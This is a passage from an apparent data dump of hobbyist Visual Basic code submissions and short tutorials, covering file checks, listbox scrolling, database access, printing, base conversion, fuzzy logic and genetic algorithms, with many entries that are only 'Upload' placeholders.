curFrame.hWnd Then\n If Err.Number = 0 Then ' if we didn't receive an error code, proceed\n ctl.Enabled = curFrame.Enabled ' state of control same as Frame\n If TypeOf ctl Is Frame Then ' if the control is a frame itself then\n enableFrame ctl ' enter this procedure again for the current frame\n End If\n End If\n End If\n Next ctl\nEnd Sub\n"},{"WorldId":1,"id":10684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10736,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23813,"LineNumber":1,"line":"After seeing so many wrong codes on this, I decided to clear things up a bit.\nIf you want to refer to a file located in app.path, nearly everyone writes\nSomeVar$ = App.Path & \"\\SomeFile.txt\"\nWhat if the Program is located in the Root-Directory ? It gives a Run-Time Error because of the \"\\\\\", since App.Path returns \"C:\\\" for example, then appends \"\\SomeFile.txt\", which results in \"C:\\\\SomeFile.txt\".\nONE correct way would be :\nDim SourceFile As String\nIf Right$(App.Path, 1) = \"\\\" Then\n SourceFile = App.Path & \"SomeFile.txt\"\nElse\n SourceFile = App.Path & \"\\SomeFile.txt\"\nEnd If\nThis is the way I use, if there are any other, please put it in the comments."},{"WorldId":1,"id":25808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21736,"LineNumber":1,"line":"Private Function FileReady(strFileName As String) As Boolean\n'***********************************************\n' * Programmer Name : Jerry Barnett\n' * Procedure Name : FileReady\n' * Parameters : strFileName As String -┬á\n' * Filename to check\n' * Returns : TRUE - if the file exists and\n' * is not in use\n' * by any other process.\n' * FALSE - if the file is in use by\n' * another process, or does\n' * not exist.\n'***********************************************\n' * Comments : This function checks to \n' * see if a file is ready for use. It\n' * tries to┬áopen the file for\n' * exclusive use.\n' *┬á\n' * NOTE - An example of where this\n' * function would be used is as\n' * follows:\n' * You have an application that needs\n' * to process files as they are\n' * created┬áin a directory. However \n' * since they could be large files \n' * you don't want to start\n' * processing the file before it \n' * is completely copied (or FTP'd)\n' * into the directory. This function\n' * will determine if the copy or FTP\n' * is complete so that you can then\n' * open the file for processing.\n'************************************\n' * The following Constants and \n' * Declares must be placed in the\n' * Module DECLARES section.\n'************************************\n' *\n' * Public Const SHARE_EXCLUSIVE = &H0\n' * Public Const INVALID_HANDLE_VALUE = -1\n' * Public Const ERROR_ALREADY_EXISTS = 183&\n' * Public Const OPEN_EXISTING = 3\n' * Public Const FILE_ATTRIBUTE_NORMAL = &H80\n' * Public Const GENERIC_READ = &H80000000\n' *\n' * Public Type SECURITY_ATTRIBUTES\n' * nLength As Long\n' * lpSecurityDescriptor As Long\n' * bInheritHandle As Long\n' * End Type\n' *\n' * Public Declare Function GetLastError _\n' * Lib \"kernel32\" () As Long\n' *\n' * Public Declare Function CreateFile Lib _\n' * \"kernel32\" Alias \"CreateFileA\" _\n' * (ByVal lpFileName As String, _\n' * ByVal dwDesiredAccess As Long, _\n' * ByVal dwShareMode As Long, _\n' * pSecurityAttributes As SECURITY_ATTRIBUTES, _\n' * ByVal dwCreationDisposition As Long, _\n' * ByVal dwFlagsAndAttributes As Long, _\n' * ByVal hTemplateFile As Long) As Long\n' *\n' * Public Declare Function CloseHandle Lib _\n' * \"kernel32\" (ByVal hObject As Long) As Long\n' *\n'************************************************\n Dim lReturnCode As Long\n Dim typAtrib As SECURITY_ATTRIBUTES\n ' Try to open the file for exclusive use\n lReturnCode = CreateFile(strFileName, _\n GENERIC_READ, _\n SHARE_EXCLUSIVE, _\n typAtrib, _\n OPEN_EXISTING, _\n FILE_ATTRIBUTE_NORMAL, 0)\n If lReturnCode = INVALID_HANDLE_VALUE Then\n ' Failed exclusive use of file (File not ready)\n FileReady = False\n Exit Function ' Exit function\n End If\n ' File exists and is ready, so close the file\n lReturnCode = CloseHandle(lReturnCode)\n ' Return True (File is Ready)\n FileReady = True\nEnd Function\n'************************************************\n' A Sample of how to use this function:\nPrivate Sub Main()\n Dim lCount as Long\n Dim Const MAXCOUNT = 5 ' Actually this would be in\n ' the module declares section\n Do While Not FileReady(\"FileToCheckFor.txt\") Then\n lCount = lCount + 1\n ' ...... wait some predetermined amount\n ' of time .....\n If lCount = MAXCOUNT Then\n Msg \"File Not Ready! Maximum try's exceeded!\"\n End\n End If\n Loop\n Msg \"File can now pe processed!\"\n ' .... Do your processing code to work\n ' with the file.\nEnd Sub"},{"WorldId":1,"id":10764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10824,"LineNumber":1,"line":"Private Function FileExists(FullFileName As String) As Boolean\nOn Error GoTo MakeF\n\t'If file does not exist, there will be an error\n\tOpen FullFileName For Input As #1\n\tClose #1\n\t'no error, file exists\n\tFileExists = True\nExit Function\nMakeF:\n\t'error, file does not exist\n\tFileExists = False\nExit Function\nEnd Function"},{"WorldId":1,"id":13702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10948,"LineNumber":1,"line":"<h1>AI: FUZZY LOGIC</H1>\n<hr>\n<h4>Version History</h4>\n┬╖8/25/00 -- Update:\n Uses keys 'awsd' instead of buttons\n Scale mode now in pixels\n Attack mode accually works!\n┬╖8/23/00 -- First Version\n<h4>It is Recommened that you </h4>\n┬╖Have read the AI:Case Logic Tutorial\n┬╖Have at least 1 year experiance in VB\n<hr>\n<h3>Introduction to Fuzzy Logic</h3>\nYou all probobly Saw my Tutorial on Case Logic. Well the That used 'If X then Z'. But that my friend isn't how the Real brain works. It uses desicions to map out what its going to do, like probobility. \nToday's Professional Game Coders don't use the simple Case Logic idea. Instead they use an idea known as 'Fuzzy Logic'.\n Fuzzy logic works along the lines of how there aren't just 1's and 0's but many numbers like 0.38492 not just 1 and 0. This tutorial shows you how to get going in Fuzzy Logic. As Fuzzy logic is Probobility to run the program we used probobility... even though they are rounded numbers.\n<hr>\n<h3>FrmFuzzy</h3>\nfrmFuzzy has 2 shapes(red is the AGRESSIVE area and green is the goal), 7 labels(1 and 2 are the enemy and you), and 2 timers\n<h4>Form_KeyPress</h4>\nThe Keypress stuff just does stuff when keys are pressed!\n<h4>The Buttons</h4>\nThe buttons simply control the movement of Label1(you) using label1.left/label1.top. Pretty simple\n<h4>The Timers</h4>\nEvery second one of the timers has the enemy make a desicion. each time it does the color of the dot on the upperright of the 'right' button changes color. and you see the state on the bottom right of the form. I will explain the calculate function in a minute\nEvery 1/2 second the other timer makes the moves for the enemy, checks if you've won/lost, and and does your hps. its pretty simple as well.\n<hr>\n<h3>BasAI</h3>\n BasAI Holds all of the Globals and The Calculate Function for the game\n<h4>The Globals</h4>\nThere are 3 states. Sleep, gaurd, and attack. The Probobility these have are stored in the variable of the same name.\nThen there is the accual state. this holds the current state to be put in the label with the state, and for the timer to use\nThen there is the hp wich gets minused when you come in contact with the enemy\n<h4>Calculate Function</h4>\nThis Function is kinda simple.\nFirst it creates a variable to be used to hold the total value of all the numbers\nThen it adds up the values and adds one\nThen it creates a variable to hold the random number in\nI'll explain Each part of this line 'prob = CInt(rnd(time) * num)\nthe CInt Rounds the rnd(time * num so that it can be stored in an integer\nThe Rnd creates a random number from a seed. the time provides that seed so that the random number is a TRUE random number. Next it multiplies it by num so that it is not just between 1 and 0. we added the 1 in num so that it would be between 0 and num. \nThen we set the state based on the value\nIf state is nothing we redo Calculate\nand then we set the state label to the state\n<hr>\n<h3>One Step Further</h3>\nMost AI's for games are fuzzy logic, though not a very simple one like this. instead of the 30 someodd this program probobly was they use thousands of lines of code for something like this! Well hey, how do you think they got the job?\n<hr>\n<h5>Code On</h5>\n<h4>Da L124RD</h4>"},{"WorldId":1,"id":10921,"LineNumber":1,"line":"<h1>Beginner's Guide to Arrays</h1>\n<hr>\n<h4>Background</h4>\nHave you wanted to store 300 integers in a variable? like variable d? well now you can with the Beginner's Guide to Arrays!\n<hr>\n<h4>Regular Arrays</h4>\nArrays are a way of storing data. instead of using 13 variables to hold 13 different integers you can use one to hold all thirteen! using the following code:\ndim K(12) as integer\nThat code holds 13 integers in Variable K. Arrays start at 0 so if you wanted to create 300 integers you'd say 'dim K(299) as integer' instead of dim'ing K1 - K300. \nWhen Setting Arrays equal to something you use the following Statement:\nK(1) = 3\nThis would create part 2 of K equal to 3. You can put any integer equivilant or equal to the number you put inside of the brakets when you dim'ed K.\n<hr>\n<h4>Multi-Demensional Arrays</h4>\nMulti Demensional Arrays are basically the same as Regular Arrays except for one thing. there are more then 1 dimension. Multi-Dimensional Arrays allow you to create Matrixs or even 7d Tables (Don't ask me what those look like). Multi Dimensional Arrays are used for many things. Score Cards and tables are examples of 2 dimensional arrays and 3d Axis' are a examples of 3 Dimensional Arrays. Multi Dimensional Arrays are dim'ed like so:\nDim K(1,1) as integer\nThat creates 4 K's. You can acess the Variables by:\nK(0,1) = K(1,0)\nThat makes whatever 0,1 on the table is equal to whatever 1,0 is.\n<hr>\nThats it for Arrays. Enjoy your stay at PSC!\n<h3>L124RD</h3>"},{"WorldId":1,"id":10898,"LineNumber":1,"line":"Public Sub AddScroll(List As ListBox)\n Dim i As Integer, intGreatestLen As Integer, lngGreatestWidth As Long\n 'Find Longest Text in Listbox\n For i = 0 To List.ListCount - 1\n If Len(List.List(i)) > Len(List.List(intGreatestLen)) Then\n intGreatestLen = i\n End If\n Next i\n 'Get Twips\n lngGreatestWidth = List.Parent.TextWidth(List.List(intGreatestLen) + Space(1)) \n'Space(1) is used to prevent the last Character from being cut off\n 'Convert to Pixels \n lngGreatestWidth = lngGreatestWidth \\ Screen.TwipsPerPixelX\n 'Use api to add scrollbar\n SendMessage List.hwnd, LB_SETHORIZONTALEXTENT, lngGreatestWidth, 0\n \nEnd Sub"},{"WorldId":1,"id":11643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13404,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23039,"LineNumber":1,"line":"Text1.SelStart = Len(Text1.Text)"},{"WorldId":1,"id":10995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11093,"LineNumber":1,"line":"Option Explicit\nPrivate Sub cmdConnect_Click()\n ' We're going to assume we're using a SQL Server\n ' that is named 'Server'. We're also going to assume\n ' the target database's name is 'Database'. The default\n ' UID in SQL is 'sa', so let's just use that, and the\n ' default password is either 'sa' or blank (I'm going to\n ' use blank). Finally, let's assume the Table name\n ' is 'Table'.\n Dim objConnection As Object\n Dim objContents As Object\n Dim strSQL As String\n \n ' Create the ADO connection. This is the handiest way to\n ' connect to a database in my uneducated opinion, so if you\n ' disagree, write your own code. ;-)\n Set objConnection = CreateObject(\"ADODB.Connection\")\n \n ' Next, open the connection to the database.\n objConnection.Open \"Driver={SQL Server};Server=Server;Database=Database;uid=sa;pwd=;\"\n \n ' Now, for this next part to make sense, you'll need at least\n ' a little experience writing SQL queries. This is the simplest.\n strSQL = \"SELECT * FROM Table\"\n \n ' Finally, Create a Recordset using the SQL string we wrote above.\n ' What's happening here is the connection object (objConnection)\n ' is executing the SQL query, then building a recordset called\n ' objContents with the results returned from our query.\n Set objContents = objConnection.execute(strSQL)\n \n ' Lastly, I bet you're wondering how to get at that data. Well,\n ' If you're only interested in the first value returned, I\n ' recommend this, quick and easy.\n varResult = objContents(0)\n \n ' If you're looking to gather a value for a particular field\n ' in the table, this is the way to go. Just replace <FIELD NAME>\n ' with your field's name (you DO need the quotes).\n varResult = objContents(\"<FIELD NAME>\")\n \n ' So if you wanted to return every value, you can simply use a\n ' while loop and BOF (Beginning Of File) and EOF (End Of File);\n ' SQL gets pissy if you try to go past the end of the file.\n While objContents.BOF = False And objContents.EOF = False\n varResult = objContents(\"<FIELD NAME>\")\n ListBox1.AddItem varResult\n \t objContents.MoveNext ' This moves on to the next ROW\n Wend\nEnd Sub"},{"WorldId":1,"id":23527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11447,"LineNumber":1,"line":"Private Sub mnuFilePrint_Click()\nDim TodaysDate AS Variant\nDim HorizontalMargin As Single \nDim VerticalMargin As Single\nDim BeginPage As Single, EndPage As Single\nDim NumCopies As Single\nDim SheetStyleText As String 'WorkSheet\nDim SheetStyleTextWidth As Single \nDim JobNumberText As String 'JobNo ###\nDim JobNumberTextWidth As Single\nDim CompanyNameText As String '###\nDim CompanyNameTextWidth As Single\nDim JobDescriptionText As String\nDim JobDescriptionTextWidth As Single \nDim JobFontText As String '###\nDim JobFontTextWidth As Single\nDim JobFontSizeText As String '###\nDim JobFontSizeTextWidth As Single\nDim t As Integer ' copies\nDim f As Integer ' counter for anystring()\nDim k As Integer\t'counter for column's\nDim Col(0 To 3), NR\t '4 column's and next row\n CommonDialog1.CancelError = True\n On Error GoTo ErrHandler\n\t' Display the Print dialog box\n CommonDialog1.ShowPrinter\n ' Get user-selected values from the dialog box\nPrinter.ScaleMode = 6 'millimeters\nHorizontalMargin = CommonDialog1.PrinterDefault\nVerticalMargin = CommonDialog1.PrinterDefault\nBeginPage = CommonDialog1.FromPage\nEndPage = CommonDialog1.ToPage\nNumCopies = CommonDialog1.Copies\nFor t = 1 To NumCopies\nNext t\nHorizontalMargin = 10 + HorizontalMargin\nVerticalMargin = 5 + VerticalMargin\nPrinter.FontName = \"Arial\"\nPrinter.FontSize = 12\nPrinter.FontBold = True\nPrinter.FontItalic = False\nPrinter.FontUnderline = False\nPrinter.FontStrikethru = False\nPrinter.ForeColor = RGB(0, 0, 0)\nTodaysDate = Format(Date, \"Long Date\")\nPrinter.Print \"Header Name\"; Space(110); 'initialize the printer\nPrinter.Print TodaysDate\nPrinter.FontName = \"Arial\"\nPrinter.FontSize = 16\nPrinter.FontBold = True\nPrinter.FontItalic = False\nPrinter.FontUnderline = False\nPrinter.FontStrikethru = False\nPrinter.ForeColor = RGB(0, 0, 0)\nCompanyNameText = \"XYZ Company & Co\" 'user name###\nCompanyNameTextWidth = Printer.TextWidth(CompanyNameText)\nPrinter.CurrentX = (210-CompanyNameTextWidth) / 4\nPrinter.CurrentY = VerticalMargin + 15\nPrinter.Print CompanyNameText\nSheetStyleText1 = \"Work Sheet\"\nSheetStyleTextWidth1 = Printer.TextWidth(SheetStyleText1)\nPrinter.CurrentX = (210-SheetStyleTextWidth1)/1.5\nPrinter.CurrentY = VerticalMargin + 15\nPrinter.Print SheetStyleText1\nJobNumberText = \"Reference / Job #\"\nJobNumberTextWidth = Printer.TextWidth(JobNumberText)\nPrinter.CurrentX = (210-JobNumberTextWidth) / 1.5\nPrinter.CurrentY = VerticalMargin + 33\nPrinter.Print JobNumberText; Space(7);\nPrinter.CurrentY = VerticalMargin + 35\nPrinter.FontBold = False\nPrinter.FontSize = 10\nPrinter.Print jnum '###\nPrinter.FontName = \"Arial\"\nPrinter.FontSize = 12\nPrinter.FontBold = True\nPrinter.FontItalic = False\nPrinter.FontUnderline = False\nPrinter.FontStrikethru = False\nPrinter.ForeColor = RGB(0, 0, 0)\nPrinter.CurrentX = HorizontalMargin / 1.5\nCol(0) = 10\nCol(1) = 58\nCol(2) = 106 'col width of 48mm(adjust to suit) \nCol(3) = 154\nNR = 53\nFor f = LBound(anystring) To UBound(anystring)\t\n '### anystring can be numbers, text,\n ' list box contents\n Printer.CurrentX = HorizontalMargin + (Col(k))\t \n 'EG: 10 mm this time \n '58 mm next time etc.\nPrinter.CurrentY = VerticalMargin + (NR)\t\t\n 'EG: 53 mm first time 60 mm next \n 'then 67 mm ect.\nPrinter.Print anystring(f)\nk = k + 1\t'Next column on the next loop\nIf k = 4 Then NR = NR + 7: k = 0 'If you have 4 \n 'anystrings in\n ' this row, start a new row\nIf NR > 270 Then Printer.NewPage: NR = 20\t\n 'Enough on this page\nNext f\t\t\t'Loop\nPrinter.EndDoc\nErrHandler:\n\t'User pressed Cancel button.\n\tEXIT SUB\nEnd Sub\n\n"},{"WorldId":1,"id":11014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26795,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11051,"LineNumber":1,"line":"'Use: BaseConv(base10_original_number, newbase)\n'to convert in a particular base\n'Or use: ConvBase10(otherbase_number, oldbase)\nConst ZERO = \"0\"\nConst DIGITS = \"123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/.=\"\nFunction ConvBase(n1 As Double, base As Long) As String\nDim e2(30) As Double\nDim n As Integer\nDim i As Long\nDim max As Long\nIf base > Len(DIGITS) Then ConvBase = \"NULL\": Exit Function\nIf n1 = 1 Then ConvBase = \"1\": Exit Function\nn = 0\nDo While (base ^ n) <= n1\n n = n + 1\nLoop\nn = n - 1\ni = 0\nDo While n > -1\n e2(i) = n1 \\ (base ^ n)\n n1 = n1 Mod (base ^ n)\n n = n - 1\n i = i + 1\nLoop\nmax = i - 1\nFor i = 0 To max\n If e2(i) = 0 Then\n ConvBase = ConvBase & ZERO\n Else\n ConvBase = ConvBase & Mid(DIGITS, e2(i), 1)\n End If\nNext i\nEnd Function\nFunction ConvBase10(num As String, base As Long) As Double\nDim i As Long\nDim n As Long\nn = Len(num)\nFor i = 1 To n\n If Mid(num, i, 1) <> ZERO Then\n ConvBase10 = ConvBase10 + (InStr(1, DIGITS, Mid(num, i, 1)) * (base ^ (n - i)))\n End If\nNext i\nEnd Function\n"},{"WorldId":1,"id":11105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34848,"LineNumber":1,"line":"Private Function FindFile(sFile As String, sRootPath As String) As String\n ' Search for the file specified and return the full path if found\n Dim sPathBuffer As String\n Dim iEnd As Integer\n \n 'Allocate some buffer space (you may need more)\n sPathBuffer = Space(512)\n \n If SearchTreeForFile(sRootPath, sFile, sPathBuffer) Then\n 'Strip off the null string that will be returned following the path name\n iEnd = InStr(1, sPathBuffer, vbNullChar, vbTextCompare)\n sPathBuffer = Left$(sPathBuffer, iEnd - 1)\n FindFile = sPathBuffer\n Else\n FindFile = vbNullString\n End If\nEnd Function"},{"WorldId":1,"id":31592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23401,"LineNumber":1,"line":"Public Function LoadBin(Path As String) As String\nOn Error GoTo hell' isn't that where errors belong?\nDim nfile As String ' This becomes the file memory\nDim i As Long ' temp int\ni = FreeFile ' Gets a free file number so that this code doesn't interfere with anything else.\nOpen Path For Binary As i ' read the file raw\n nfile = String(LOF(i), \" \") ' create a string in memory that is the size of the file.\n Get i, , nfile ' in one pass, load the entire file as a single record.\nClose i ' clean up the mess\nLoadBin = nfile 'set the return value\nhell: ' this is where it goes if the code breaks anyway.\nEnd Function"},{"WorldId":1,"id":11138,"LineNumber":1,"line":"'This is only one line of code. The second line is the Show Method - which you have to do anyway. The rptHistSalary is the name of the report. Put this line before the Show and the report orientation will be changed. The nice thing is you don't have to change the printer orientation back because you have only changed the orientation for the report and not the printer! Since you change the orientation by report name this will not affect other reports. For reports that you want Portriat you don't have to do anything - Portriat is the default. Also, what is nice is that you don't have to be concerned about Network issues nor about operating system issues. The orientation is all done within VB. This one line of code requires that you have Service Pack 4 installed on you computer or you will get a compile error. You can get the SP 4 from Microsoft.This is my first submission to PlanetSourceCode and I am just learning how this web site works. Hope this helps. \nrptHistSalary.Orientation = rptOrientLandscape\nrptHistSalary.Show 1, Me\n"},{"WorldId":1,"id":11208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11151,"LineNumber":1,"line":"Function lineCount(myInFile As String) As Long\n Dim lFileSize As Long, lChunk As Long\n Dim bFile() As Byte\n Dim lSize As Long\n Dim strText As String\n \n 'the size of the chunk to read in. You can experiment\n 'with this to see what works fastest.\n lSize = CLng(1024) * 10\n \n 'size the array to the chunk size\n ReDim bFile(lSize - 1) As Byte\n \n Open myInFile For Binary As #1\n 'get the file size\n lFileSize = LOF(1)\n \n 'set the chunk number to 1\n lChunk = 1\n Do While (lSize * lChunk) < lFileSize\n 'get the data from the in file\n Get #1, , bFile\n strText = StrConv(bFile, vbUnicode)\n \n 'get the line count for this chunk\n lineCount = lineCount + searchText(strText)\n 'increment the chunk count\n lChunk = lChunk + 1\n Loop\n \n 'redim the array to the remaining size\n ReDim bFile((lFileSize - (lSize * (lChunk - 1))) - 1) As Byte\n 'get the remaining data\n Get #1, , bFile\n strText = StrConv(bFile, vbUnicode)\n 'get line count for this chunk\n lineCount = lineCount + searchText(strText)\n \n 'close the file\n Close #1\n \n lineCount = lineCount + 1\n \nEnd Function\nPrivate Function searchText(strText As String) As Long\n Static blPossible As Boolean\n Dim lp1 As Long\n \n 'if we have a possible line count\n If blPossible = True Then\n 'if the fist charcter is chr(10) then we have a new line\n If Left$(strText, 1) = Chr(10) Then\n searchText = searchText + 1\n End If\n End If\n \n blPossible = False\n \n 'loop through counting vbCrLf's\n lp1 = 1\n Do\n lp1 = InStr(lp1, strText, vbCrLf)\n If lp1 <> 0 Then\n searchText = searchText + 1\n lp1 = lp1 + 2\n End If\n Loop Until lp1 = 0\n \n 'if the last character is a chr(13) then we may have a\n 'new line, so we mark it as possible\n If Right$(strText, 1) = Chr(13) Then\n blPossible = True\n End If\n \nEnd Function\n"},{"WorldId":1,"id":11153,"LineNumber":1,"line":"Function myInStrRev(strStringToSearch As String, strFind As String, Optional iStart As Long) As Long\n Dim ip1 As Long, ip2 As Long\n Dim iLenStringToSearch As Long\n \n 'get the length of the string\n iLenStringToSearch = Len(strStringToSearch)\n \n 'if the start is 0 then set the start to the length\n 'og the string\n If iStart = 0 Then\n iStart = iLenStringToSearch\n End If\n \n ip1 = 1\n Do\n ip2 = InStr(ip1, strStringToSearch, strFind)\n If (ip2 > 0) And (ip2 < iStart) Then\n 'if ip2 is not zero and it is less than the\n 'place to start searching then set the function\n 'to return that position\n myInStrRev = ip2\n ElseIf ip2 = 0 Then\n ip2 = iLenStringToSearch\n End If\n 'set the next position to seracf from\n ip1 = ip2 + 1\n Loop Until ip1 >= iStart\n \nEnd Function\n"},{"WorldId":1,"id":11156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21739,"LineNumber":1,"line":"<H2><center>Genetic Algorithms</center></H2> \nI. Introduction: \nGenetic algorithms are a revolutionary new way to use minimal computational power to handle infinitely complicated calculations. This new AI concept 'evolves' so that it does not waste ANY of your computer's memory. It is almost a very advanced trial-and-error system that filters out the incorrect 'guesses.' A programmer who can use all of these capabilities to his/her advantage will be much in demand in the software industry of the near future. \nII. The Setup of a Genetic Algorithm: \nThe three subsections (IIa through IIc) talk about the three steps the algorithm goes through. The situation is the following: there is a \"blackbox\" function that takes in eight input numbers and outputs one value. The genetic algorithm does not know what mathematical operations are conducted within the blackbox function. However, the user of the genetic algorithm tells it that he/she wishes to know the input numbers to be put in to come out with an output number (specified by the user.) \nIIa. Step 1 -- Initialization \nThe genetic algorithm (known as GA from here on) starts by making a small population of 16 'chromosomes.' These chromosomes are random 32-bit binary strings. After these 16 chromosomes are created, step 2 begins. \nIIb. Step 2 -- Fitness Calculation \nThe GA takes the chromosomes one by one and breaks the 32 binary characters down into 8 sections of 4. (i.e. 1101-0010-1101-0110-1010-0101-1010-1110) These eight sections are then decoded in regular (base-10) integers and inputted into the blackbox function. The GA then calculates 